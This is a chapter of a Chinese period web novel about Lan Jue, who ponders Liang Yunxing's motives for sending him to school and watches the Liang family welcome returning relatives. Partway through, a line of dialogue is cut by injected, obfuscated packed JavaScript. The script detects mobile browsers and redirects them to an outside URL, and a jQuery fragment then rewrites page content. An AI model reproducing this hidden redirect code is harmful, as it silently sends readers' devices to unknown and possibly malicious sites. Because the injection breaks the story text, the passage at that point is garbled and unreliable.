“有应酬大不了我不去不就好了,这学到底有什么好上的……” “公子别想多了,”四喜宽慰他道,“读书明理,小的能一直在您身旁出谋划策,焉知不是幼时陪四少爷读书之故?” “呵,你厉害是因为你本身就爱琢磨事……不然你换个人试试?” 岚珏嗤之以鼻,抬手一指梁蕴行身后唯唯诺诺的四宝,“喏,你让那个,看着有点呆的兄弟,陪咱们读两天书,看看他能琢磨出什么人生大道理来?” “这——” 四喜被岚珏逗乐,想笑又不敢笑,眼珠一转,忽然来了句,“其实……四少爷让您入学堂读书,仿佛不全是为了面子上的事。” “是啊,还满足了他的恶趣味,”岚珏没好气地盯着那道颀长板正的身影,“毕竟他就喜欢给人拿主意嘛,不编排我一下可憋死他了。” “公子别说气话。”四喜哭笑不得。 “那你说为什么?” 岚珏忽然偏头看向四喜,眉毛一挑,“总不能是他突然间转了性子,爱我爱得死心塌地,一日不见如隔三秋,要把我绑在他身边?” “……” 四喜一时不知说什么是好,否决与承认都如鲠在喉,叫他倏忽涨红了脸。 走在前头的阿门更是差点惊掉了书箱——四少爷原来还好这口!当真是知人知面不知心! “四少爷对公子的感情,自然是与旁人不同的……” 四喜憋了半天,挑挑拣拣憋出一句模棱两可的话,又咽了几下嗓子,小心翼翼道,“不然四少爷也不会为公子的事劳心伤神,更不会在得知您被兰家夫妇坑害,连开蒙都不曾有之时,在房中静思了一夜……” “静思了一夜?” 岚珏瞳孔微震,对此话深表怀疑,“你该不会是为了给他脸上贴金,自己瞎编的吧……” “小的怎敢?” 四喜哑然失笑,“此事是从四宝那打听来的,四院的仆奴和府卫皆为见证,实在算不得什么秘密。” 见岚珏将信将疑,他眨眨眼,趁热打铁道,“如此看来,四少爷费尽周折也要把您送入学堂,同此事不无关联,应当是……” “是什么?” “是存了弥补您的心思。” 四喜觑着岚珏的眼睛,瓷声瓷气道,“四少爷应是要弥补您前十一年,在兰家村虚耗的光景。” “……” 这下轮到岚珏自己沉默了。 四喜见岚珏表情似有松动,赶忙又添了把火,“方才公子说,四少爷就喜欢给人拿主意,这可是天大的误会…… “小的打出生就在梁家,五岁便跟在四少爷后边,陪他出生入死。可依小的所见,四少爷从未插手任何人的事,更不要提折腾谁,编排谁……” 说到这,四喜突然放轻了语气,“公子,四少爷这是,关心则乱啊……” · 关心,则乱? 弥补他…… 岚珏坐上马车,神色复杂地瞟了梁四一眼。 梁蕴行一上车便捧起书卷安静地读了起来,他身姿笔挺,表情端肃,一卷密密麻麻的书看得极为入神,同车厢之内的两名学渣形成鲜明对比。 栾世安自上车起就絮絮叨叨,一会儿说策论难写学究严苛,一会儿盘算着几日后的端午节,他们该到哪里去玩。 “诶,岚兄,端午那日,护城河边有龙舟竞渡,不如咱们去瞧瞧?” “行啊,都行,我无所谓。” 岚珏漫不经心应着,脑子却忍不住翻来覆去思考那个问题——梁蕴行到底是什么意思? 一个男的,会因为另一个男的没读书而产生怜悯之心,还要补偿他吗? 再往前想,这男的还“以身相报”,跟他结婚帮他落户,还帮他收拾烂摊子…… 靠,梁蕴行不会真的看上他了吧?! 岚珏虎躯一震,又急急瞟了梁四一眼,这回却被正主原地抓包。 梁蕴行捧着书,微微凝蹙的剑眉底下是一双不耐烦的招子,好似在说——你丫看够没?到底什么事? 没事!他哪敢有事! 岚珏连忙收回目光看向窗外,掩饰住“扑通扑通”狂跳的心脏。 妈的,被腐女苗兰影响多了,人思想都不纯洁了! 不就是帮个忙吗?自己救了他的命,他全心全意报答,有什么问题? 没问题,不可能有问题! 梁蕴行这种人绝对不会喜欢上任何人!况且他还亲口承认过的,就在观鹤亭边! 这会儿岚珏的记忆又神奇地恢复了,他一边劝自己别多想,一边看着小窗外快速向后的街景放空大脑——直到看到两张熟悉的脸。 “呦,未来的三甲回来啦!” 柳慕云正翘着腿,坐在屋檐下的摇椅上一晃一晃的,边上端坐着闭目养神的梁蕴识。 不远处,一个巨大的黄铜风扇坐落在木台子上,前头还放着一大盆冰,仆奴一摇,风扇一转,带起的风便拂过冰面吹向两人,为这小小一隅增添了无限清凉。 “诶,二表哥二表嫂怎么在大门前边坐着?” 马车一停,栾世安一个跨步下了车,朝他们一溜烟跑过去,“不会是在接咱们仨下学吧?” “你这小皮猴子,”柳慕云弯起眼角,“我敢接,你同四弟敢受着吗?” “只有我同四表哥,自然是不敢,”栾世安摸了摸后脑勺,“可眼下不是还有岚兄在嘛!岚兄第一日上学,面子比天都大,二表哥和二表嫂不放心来接,也是人之常情。” “哟,瞧你说的,我俩若不是来接你们,倒显得我夫妻二人不懂事了。” 见梁蕴行和岚珏前后脚走到他们跟前,柳慕云伸了个懒腰,缓缓起身,“那便同你们说声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337443|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不住吧,今日确不是接你们下学来着。” 梁四看着兄嫂及其身后的十数名仆奴,蓦地眸光一动,“是大哥大嫂同父亲要回来了?” 嗯? 岚珏睨了他一眼,陡然想起栾世安那天无意透露的一句话——“四表哥一度只同大表哥一家亲近,近年来方好转了些。” ……当年到底发生了什么,能让这冷心冷脸的小毒舌对老大夫妇交付真心,甚至产生了比生身父母更为亲近的依恋? “若只是父亲和兄嫂啊,便不用咱这么巴巴地守着了。” 柳慕云端起身旁木几上的一碗冰镇绿豆汤,优哉游哉地喝了一口,方道,“说是官家要派大内的人护送,保不齐还有别的指示,母亲为稳妥起见,便让我二人来正门相迎,没得叫谁又挑咱家的毛病。” 说着把汤盏往丈夫手上一放,往后一靠,慵懒地闭上了双眼,“你嫂嫂我已经在这等了半柱香了,又热又累的,当真是伴君如——” “慕云……慎言。” 梁蕴识有些无奈,腾出一只手擦了擦柳慕云的嘴角,冲几个弟弟淡淡一笑。 “母亲谨慎些是应该的,”他道,“只是大内车队行踪隐秘,咱们的人最多只能到城门候着,又怕消息传得太晚来不及应对,我二人便选了个最笨的法子——守于此处,静候佳音。” “哦?那城门处是有人等着了?”栾世安探头探脑,一脸期待。 “嗯,一心同阿生带着几名府卫,一大早便去了城门,”梁蕴识抬头看了看天,“午时了……算了算时辰,也该到了。” 说时迟那时快,一名府卫扬着马鞭策马而来,“吁——” 随后干脆利落下马,小跑至他们面前抱拳一鞠,“二少爷,大内护送的队伍离府还有三里地,一心哥叫小的速速回报,请诸位主子准备接迎。” “好。” 岚珏眼看着梁蕴识一声应下,一群仆奴自觉开始分工,如训练有素的工蚁般有条不紊,扶主子的扶主子,搬家具的搬家具。 待他反应过来时,他已经被安置到接迎的队列中,虽是站在最边上,却和梁家人并排,不分彼此。 再一抬头,浩浩荡荡的马车队伍自远而近,停在了梁府前头。 为首的几名侍卫纷纷下马,呈梭形簇拥在一辆宽敞奢华的四驾马车周围。 紧接着,马车的门帘被一只手掀开,一名眉目俊朗,与梁二梁四皆有几分神似的公子弯着腰走出车厢,扶着早就在车旁站定的一心的手,不慌不忙下了地。 喔,这一定是梁家大少爷了,岚珏想。 且看他下了马车也并未走开,回身从马车里接出一个约莫七八岁的小男孩,再次伸手时,一只纤长的手搭在了他小臂上方。 岚珏瞪圆了眼,巴巴地看着那位梁大少爷扬唇一笑,大掌覆在那截素手之上,堪称小心翼翼地从车厢里迎出一位——男子? 嗯? 不是说陪伴圣驾的只有梁相和老大夫妇吗?这男人是谁,这小孩又是谁? 且见这名男子身着白衣,身形颀长,头戴一顶颜色极好的青玉冠,半披着发自马凳缓缓走下。他容貌虽不是一等一的出众,气质却清丽出尘,华而不俗,远远观去活似一尊灵动的观音像,让人不由自主心生虔诚。 嘶,不对,这人看着好像还年轻些……不要告诉他第一个出来的其实是梁相啊?!! 岚珏万分惊恐地盯着前方,待到满脸沧桑,眼角褶子都好几层的中年男子气定神闲下了车,他微悬的心才放了下来,却止不住泛起更多疑问—— 那一大一小到底是谁,大少夫人呢? 岚珏看着前方亲昵的两人,心中突然泛起一个不祥的预感。